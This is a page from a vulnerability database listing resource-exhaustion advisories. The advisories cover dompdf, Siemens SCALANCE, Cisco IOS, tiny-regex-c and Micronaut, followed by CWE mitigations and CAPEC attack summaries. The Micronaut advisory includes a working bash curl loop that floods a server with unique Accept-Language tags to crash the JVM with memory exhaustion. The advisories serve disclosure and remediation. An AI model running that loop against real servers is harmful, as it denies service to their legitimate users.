cost scales with declared `width \u00d7 height`, bounded only by the 32-bit header fields and the host\u0027s available memory (the process is OOM-killed before the theoretical maximum).\n\n## Impact\n \nA single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool\u0027s memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD\u0027s native allocator, a per-request `memory_limit` does **not** contain it.\n\n**Caveat:** this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation \u2014 those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.",
  "id": "GHSA-8hg6-c449-896m",
  "modified": "2026-07-22T22:50:34Z",
  "published": "2026-07-22T22:50:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-8hg6-c449-896m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dompdf/dompdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dompdf: Uncontrolled resource consumption based on declared BMP dimensions"
}

GHSA-8HGR-9VMC-8GQJ

Vulnerability from github – Published: 2022-12-13 18:30 – Updated: 2024-04-04 03:14
VLAI
Details

A vulnerability has been identified in SCALANCE X204RNA (HSR) (All versions < V3.2.7), SCALANCE X204RNA (PRP) (All versions < V3.2.7), SCALANCE X204RNA EEC (HSR) (All versions < V3.2.7), SCALANCE X204RNA EEC (PRP) (All versions < V3.2.7), SCALANCE X204RNA EEC (PRP/HSR) (All versions < V3.2.7). Specially crafted PROFINET DCP packets could cause a denial of service condition of affected products.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-46352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-13T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SCALANCE X204RNA (HSR) (All versions \u003c V3.2.7), SCALANCE X204RNA (PRP) (All versions \u003c V3.2.7), SCALANCE X204RNA EEC (HSR) (All versions \u003c V3.2.7), SCALANCE X204RNA EEC (PRP) (All versions \u003c V3.2.7), SCALANCE X204RNA EEC (PRP/HSR) (All versions \u003c V3.2.7). Specially crafted PROFINET DCP packets could cause a denial of service condition of affected products.",
  "id": "GHSA-8hgr-9vmc-8gqj",
  "modified": "2024-04-04T03:14:05Z",
  "published": "2022-12-13T18:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46352"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-363821.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8HJ8-9M54-WVPW

Vulnerability from github – Published: 2022-05-13 01:25 – Updated: 2022-05-13 01:25
VLAI
Details

A vulnerability in the Layer 2 Tunneling Protocol (L2TP) parsing function of Cisco IOS (12.0 through 12.4 and 15.0 through 15.6) and Cisco IOS XE (3.1 through 3.18) could allow an unauthenticated, remote attacker to cause an affected device to reload. The vulnerability is due to insufficient validation of L2TP packets. An attacker could exploit this vulnerability by sending a crafted L2TP packet to an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a denial of service (DoS) condition. This vulnerability affects Cisco devices that are running a vulnerable release of Cisco IOS or Cisco IOS XE Software if the L2TP feature is enabled for the device and the device is configured as an L2TP Version 2 (L2TPv2) or L2TP Version 3 (L2TPv3) endpoint. By default, the L2TP feature is not enabled. Cisco Bug IDs: CSCuy82078.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-3857"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-22T19:59:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the Layer 2 Tunneling Protocol (L2TP) parsing function of Cisco IOS (12.0 through 12.4 and 15.0 through 15.6) and Cisco IOS XE (3.1 through 3.18) could allow an unauthenticated, remote attacker to cause an affected device to reload. The vulnerability is due to insufficient validation of L2TP packets. An attacker could exploit this vulnerability by sending a crafted L2TP packet to an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a denial of service (DoS) condition. This vulnerability affects Cisco devices that are running a vulnerable release of Cisco IOS or Cisco IOS XE Software if the L2TP feature is enabled for the device and the device is configured as an L2TP Version 2 (L2TPv2) or L2TP Version 3 (L2TPv3) endpoint. By default, the L2TP feature is not enabled. Cisco Bug IDs: CSCuy82078.",
  "id": "GHSA-8hj8-9m54-wvpw",
  "modified": "2022-05-13T01:25:06Z",
  "published": "2022-05-13T01:25:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3857"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170322-l2tp"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97010"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038100"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8HJH-2XHJ-MX62

Vulnerability from github – Published: 2026-06-08 03:47 – Updated: 2026-06-08 03:47
VLAI
Details

A flaw has been found in kokke tiny-regex-c up to f2632c6d9ed25272987471cdb8b70395c2460bdb. This vulnerability affects the function matchstar of the file re.c of the component Pattern Handler. This manipulation causes inefficient regular expression complexity. The attack is restricted to local execution. The exploit has been published and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
1.9 (Low)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-11478"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-08T03:16:19Z",
    "severity": "LOW"
  },
  "details": "A flaw has been found in kokke tiny-regex-c up to f2632c6d9ed25272987471cdb8b70395c2460bdb. This vulnerability affects the function matchstar of the file re.c of the component Pattern Handler. This manipulation causes inefficient regular expression complexity. The attack is restricted to local execution. The exploit has been published and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-8hjh-2xhj-mx62",
  "modified": "2026-06-08T03:47:24Z",
  "published": "2026-06-08T03:47:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11478"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kokke/tiny-regex-c/issues/100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kokke/tiny-regex-c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/user-attachments/files/28046213/tiny-regex-c-redos-poc.zip"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-11478"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/833966"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/369098"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/369098/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8HJV-92Q9-G4XJ

Vulnerability from github – Published: 2026-05-06 20:00 – Updated: 2026-07-10 00:09
VLAI
Summary
Micronaut has unbounded `formattersCache` in `TimeConverterRegistrar` that Allows Memory Exhaustion via `Accept-Language` Header
Details

Summary

TimeConverterRegistrar caches DateTimeFormatter instances in an unbounded ConcurrentHashMap<String, DateTimeFormatter> whose key is derived from the @Format annotation pattern concatenated with the locale from the HTTP Accept-Language header. Because Locale.forLanguageTag() accepts arbitrary BCP 47 private-use extensions (en-x-a001, en-x-a002, …), an unauthenticated attacker can generate an unlimited number of unique cache keys by sending requests with novel locale tags, growing the cache until heap memory is exhausted and the JVM crashes. This is structurally identical to the recently patched GHSA-2hcp-gjrf-7fhc (DefaultHtmlErrorResponseBodyProvider), but TimeConverterRegistrar.formattersCache was not covered by that fix.

Details

The vulnerable cache is declared in context/src/main/java/io/micronaut/runtime/converters/time/TimeConverterRegistrar.java at line 123:

// TimeConverterRegistrar.java:123
private final Map<String, DateTimeFormatter> formattersCache = new ConcurrentHashMap<>();

The getFormatter method at line 434 inserts into this map with no eviction or size limit:

// TimeConverterRegistrar.java:434-443
private DateTimeFormatter getFormatter(String pattern, ConversionContext context) {
    var key = pattern + context.getLocale();        // locale from Accept-Language header
    var cachedFormatter = formattersCache.get(key);
    if (cachedFormatter != null) {
        return cachedFormatter;
    }
    var formatter = DateTimeFormatter.ofPattern(pattern, context.getLocale());
    formattersCache.put(key, formatter);            // NO SIZE CHECK — unbounded growth
    return formatter;
}

The attacker-controlled locale flows into the cache key through this call chain:

  1. HTTP header parsed — HttpHeaders.findAcceptLanguage() at http/src/main/java/io/micronaut/http/HttpHeaders.java:766-771 calls Locale.forLanguageTag(part) directly on the raw Accept-Language value:
// HttpHeaders.java:766-771
default Optional<Locale> findAcceptLanguage() {
    return findFirst(HttpHeaders.ACCEPT_LANGUAGE)
        .map(text -> {
            String part = HttpHeadersUtil.splitAcceptHeader(text);
            return part == null ? Locale.getDefault() : Locale.forLanguageTag(part);
        });
}
  1. Locale planted in ConversionContext — AbstractRouteMatch.newContext() at router/src/main/java/io/micronaut/web/router/AbstractRouteMatch.java:373-378 passes the request locale into the conversion context for every route argument binding:
// AbstractRouteMatch.java:373-378
private <E> ArgumentConversionContext<E> newContext(Argument<E> argument, HttpRequest<?> request) {
    return ConversionContext.of(
        argument,
        request.getLocale().orElse(null),   // ← attacker-controlled via Accept-Language
        request.getCharacterEncoding()
    );
}
  1. Unbounded cache insert — When any temporal argument annotated with @Format is bound, TimeConverterRegistrar.getFormatter(pattern, context) is called and inserts a new DateTimeFormatter for each unique pattern + locale key.

This path is triggered for any route endpoint with a @Format-annotated temporal parameter. This is an officially documented and commonly used Micronaut pattern, demonstrated in the framework's own test suite:

// test-suite/.../BindingController.java:105 (official Micronaut example)
@Get("/dateFormat")
public String dateFormat(@Format("dd/MM/yyyy hh:mm:ss a z") @Header ZonedDateTime date) {
    return date.toString();
}

TimeConverterRegistrar is an @Internal core bean registered unconditionally in every Micronaut application — it is not optional or user-configured. By contrast, the DefaultHtmlErrorResponseBodyProvider cache patched in GHSA-2hcp-gjrf-7fhc now uses a ConcurrentLinkedHashMap bounded at 100 entries; TimeConverterRegistrar.formattersCache remains an unbounded plain ConcurrentHashMap.

PoC

Against any Micronaut application exposing an endpoint with a @Format-annotated temporal parameter:

# Flood the formattersCache with unique locale-derived keys
for i in $(seq 1 200000); do
  curl -s -o /dev/null \
    -H "Accept-Language: en-x-$(printf '%06d' $i)" \
    -H "date: 01/01/2024 12:00:00 AM UTC" \
    "http://localhost:8080/dateFormat" &
  # Throttle to avoid socket exhaustion
  [ $((i % 500)) -eq 0 ] && wait
done
wait
# Server will throw OutOfMemoryError after enough unique locale entries accumulate

Each request with a novel en-x-XXXXXX private-use tag inserts a new DateTimeFormatter entry into the unbounded map. Each DateTimeFormatter (with locale metadata) occupies roughly 2–10 KB on the heap. At 100,000 unique entries, the map alone can consume ~500 MB; at 500,000 entries the JVM typically crashes with OutOfMemoryError: Java heap space.

Impact

  • An unauthenticated attacker can crash any Micronaut server that exposes at least one endpoint with a @Format-annotated temporal type parameter — a documented, first-class framework feature.
  • Memory grows linearly with the number of unique Accept-Language values sent. The BCP 47 private-use namespace (en-x-ANYTHING) provides millions of distinct valid locale strings.
  • No credentials, special permissions, or exploitation of application logic are required — only the ability to send HTTP requests with custom headers.
  • TimeConverterRegistrar is active in all Micronaut HTTP server applications by default; no special configuration is needed to be vulnerable.

Recommended Fix

Apply the same fix pattern used for GHSA-2hcp-gjrf-7fhc: replace the unbounded ConcurrentHashMap with a bounded ConcurrentLinkedHashMap:

// In TimeConverterRegistrar.java — replace line 123
import io.micronaut.core.util.clhm.ConcurrentLinkedHashMap;

private static final int MAX_FORMATTERS_CACHE_SIZE = 100;

private final Map<String, DateTimeFormatter> formattersCache =
    new ConcurrentLinkedHashMap.Builder<String, DateTimeFormatter>()
        .maximumWeightedCapacity(MAX_FORMATTERS_CACHE_SIZE)
        .build();

Alternatively, since @Format pattern values come from static annotations (a bounded, compile-time set), the locale should be excluded from the cache key and applied at use-time instead:

// In getFormatter() — cache only by pattern, apply locale at use-time
private DateTimeFormatter getFormatter(String pattern, ConversionContext context) {
    DateTimeFormatter base = formattersCache.computeIfAbsent(
        pattern, p -> DateTimeFormatter.ofPattern(p)
    );
    Locale locale = context.getLocale();
    return locale != null ? base.withLocale(locale) : base;
}

This second approach bounds the cache by the number of distinct @Format patterns in the application, which is always small and finite, fully eliminating the attack surface.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.micronaut:micronaut-context"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.0"
            },
            {
              "fixed": "4.10.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.micronaut:micronaut-context"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.10.0"
            },
            {
              "fixed": "3.10.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.micronaut:micronaut-context"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.8.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44241"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:00:22Z",
    "nvd_published_at": "2026-05-12T22:16:35Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`TimeConverterRegistrar` caches `DateTimeFormatter` instances in an unbounded `ConcurrentHashMap\u003cString, DateTimeFormatter\u003e` whose key is derived from the `@Format` annotation pattern concatenated with the locale from the HTTP `Accept-Language` header. Because `Locale.forLanguageTag()` accepts arbitrary BCP 47 private-use extensions (`en-x-a001`, `en-x-a002`, \u2026), an unauthenticated attacker can generate an unlimited number of unique cache keys by sending requests with novel locale tags, growing the cache until heap memory is exhausted and the JVM crashes. This is structurally identical to the recently patched GHSA-2hcp-gjrf-7fhc (`DefaultHtmlErrorResponseBodyProvider`), but `TimeConverterRegistrar.formattersCache` was not covered by that fix.\n\n## Details\n\nThe vulnerable cache is declared in `context/src/main/java/io/micronaut/runtime/converters/time/TimeConverterRegistrar.java` at line 123:\n\n```java\n// TimeConverterRegistrar.java:123\nprivate final Map\u003cString, DateTimeFormatter\u003e formattersCache = new ConcurrentHashMap\u003c\u003e();\n```\n\nThe `getFormatter` method at line 434 inserts into this map with no eviction or size limit:\n\n```java\n// TimeConverterRegistrar.java:434-443\nprivate DateTimeFormatter getFormatter(String pattern, ConversionContext context) {\n    var key = pattern + context.getLocale();        // locale from Accept-Language header\n    var cachedFormatter = formattersCache.get(key);\n    if (cachedFormatter != null) {\n        return cachedFormatter;\n    }\n    var formatter = DateTimeFormatter.ofPattern(pattern, context.getLocale());\n    formattersCache.put(key, formatter);            // NO SIZE CHECK \u2014 unbounded growth\n    return formatter;\n}\n```\n\nThe attacker-controlled locale flows into the cache key through this call chain:\n\n1. **HTTP header parsed** \u2014 `HttpHeaders.findAcceptLanguage()` at `http/src/main/java/io/micronaut/http/HttpHeaders.java:766-771` calls `Locale.forLanguageTag(part)` directly on the raw `Accept-Language` value:\n\n```java\n// HttpHeaders.java:766-771\ndefault Optional\u003cLocale\u003e findAcceptLanguage() {\n    return findFirst(HttpHeaders.ACCEPT_LANGUAGE)\n        .map(text -\u003e {\n            String part = HttpHeadersUtil.splitAcceptHeader(text);\n            return part == null ? Locale.getDefault() : Locale.forLanguageTag(part);\n        });\n}\n```\n\n2. **Locale planted in ConversionContext** \u2014 `AbstractRouteMatch.newContext()` at `router/src/main/java/io/micronaut/web/router/AbstractRouteMatch.java:373-378` passes the request locale into the conversion context for every route argument binding:\n\n```java\n// AbstractRouteMatch.java:373-378\nprivate \u003cE\u003e ArgumentConversionContext\u003cE\u003e newContext(Argument\u003cE\u003e argument, HttpRequest\u003c?\u003e request) {\n    return ConversionContext.of(\n        argument,\n        request.getLocale().orElse(null),   // \u2190 attacker-controlled via Accept-Language\n        request.getCharacterEncoding()\n    );\n}\n```\n\n3. **Unbounded cache insert** \u2014 When any temporal argument annotated with `@Format` is bound, `TimeConverterRegistrar.getFormatter(pattern, context)` is called and inserts a new `DateTimeFormatter` for each unique `pattern + locale` key.\n\nThis path is triggered for any route endpoint with a `@Format`-annotated temporal parameter. This is an officially documented and commonly used Micronaut pattern, demonstrated in the framework\u0027s own test suite:\n\n```java\n// test-suite/.../BindingController.java:105 (official Micronaut example)\n@Get(\"/dateFormat\")\npublic String dateFormat(@Format(\"dd/MM/yyyy hh:mm:ss a z\") @Header ZonedDateTime date) {\n    return date.toString();\n}\n```\n\n`TimeConverterRegistrar` is an `@Internal` core bean registered unconditionally in every Micronaut application \u2014 it is not optional or user-configured. By contrast, the `DefaultHtmlErrorResponseBodyProvider` cache patched in GHSA-2hcp-gjrf-7fhc now uses a `ConcurrentLinkedHashMap` bounded at 100 entries; `TimeConverterRegistrar.formattersCache` remains an unbounded plain `ConcurrentHashMap`.\n\n## PoC\n\nAgainst any Micronaut application exposing an endpoint with a `@Format`-annotated temporal parameter:\n\n```bash\n# Flood the formattersCache with unique locale-derived keys\nfor i in $(seq 1 200000); do\n  curl -s -o /dev/null \\\n    -H \"Accept-Language: en-x-$(printf \u0027%06d\u0027 $i)\" \\\n    -H \"date: 01/01/2024 12:00:00 AM UTC\" \\\n    \"http://localhost:8080/dateFormat\" \u0026\n  # Throttle to avoid socket exhaustion\n  [ $((i % 500)) -eq 0 ] \u0026\u0026 wait\ndone\nwait\n# Server will throw OutOfMemoryError after enough unique locale entries accumulate\n```\n\nEach request with a novel `en-x-XXXXXX` private-use tag inserts a new `DateTimeFormatter` entry into the unbounded map. Each `DateTimeFormatter` (with locale metadata) occupies roughly 2\u201310 KB on the heap. At 100,000 unique entries, the map alone can consume ~500 MB; at 500,000 entries the JVM typically crashes with `OutOfMemoryError: Java heap space`.\n\n## Impact\n\n- An unauthenticated attacker can crash any Micronaut server that exposes at least one endpoint with a `@Format`-annotated temporal type parameter \u2014 a documented, first-class framework feature.\n- Memory grows linearly with the number of unique `Accept-Language` values sent. The BCP 47 private-use namespace (`en-x-ANYTHING`) provides millions of distinct valid locale strings.\n- No credentials, special permissions, or exploitation of application logic are required \u2014 only the ability to send HTTP requests with custom headers.\n- `TimeConverterRegistrar` is active in all Micronaut HTTP server applications by default; no special configuration is needed to be vulnerable.\n\n## Recommended Fix\n\nApply the same fix pattern used for GHSA-2hcp-gjrf-7fhc: replace the unbounded `ConcurrentHashMap` with a bounded `ConcurrentLinkedHashMap`:\n\n```java\n// In TimeConverterRegistrar.java \u2014 replace line 123\nimport io.micronaut.core.util.clhm.ConcurrentLinkedHashMap;\n\nprivate static final int MAX_FORMATTERS_CACHE_SIZE = 100;\n\nprivate final Map\u003cString, DateTimeFormatter\u003e formattersCache =\n    new ConcurrentLinkedHashMap.Builder\u003cString, DateTimeFormatter\u003e()\n        .maximumWeightedCapacity(MAX_FORMATTERS_CACHE_SIZE)\n        .build();\n```\n\nAlternatively, since `@Format` pattern values come from static annotations (a bounded, compile-time set), the locale should be excluded from the cache key and applied at use-time instead:\n\n```java\n// In getFormatter() \u2014 cache only by pattern, apply locale at use-time\nprivate DateTimeFormatter getFormatter(String pattern, ConversionContext context) {\n    DateTimeFormatter base = formattersCache.computeIfAbsent(\n        pattern, p -\u003e DateTimeFormatter.ofPattern(p)\n    );\n    Locale locale = context.getLocale();\n    return locale != null ? base.withLocale(locale) : base;\n}\n```\n\nThis second approach bounds the cache by the number of distinct `@Format` patterns in the application, which is always small and finite, fully eliminating the attack surface.",
  "id": "GHSA-8hjv-92q9-g4xj",
  "modified": "2026-07-10T00:09:19Z",
  "published": "2026-05-06T20:00:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/micronaut-projects/micronaut-core/security/advisories/GHSA-8hjv-92q9-g4xj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44241"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micronaut-projects/micronaut-core/commit/48f05ae8dc4157816fe0050c5cf730be7d44f8b3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micronaut-projects/micronaut-core/commit/c2048ab740c2efdfe227813f203176e0ef93f892"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micronaut-projects/micronaut-core/commit/c6ca8782de7338732e887d090f38c9e941bcb284"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/micronaut-projects/micronaut-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micronaut-projects/micronaut-core/releases/tag/v3.10.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micronaut-projects/micronaut-core/releases/tag/v3.8.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micronaut-projects/micronaut-core/releases/tag/v4.10.22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Micronaut has unbounded `formattersCache` in `TimeConverterRegistrar` that Allows Memory Exhaustion via `Accept-Language` Header"
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list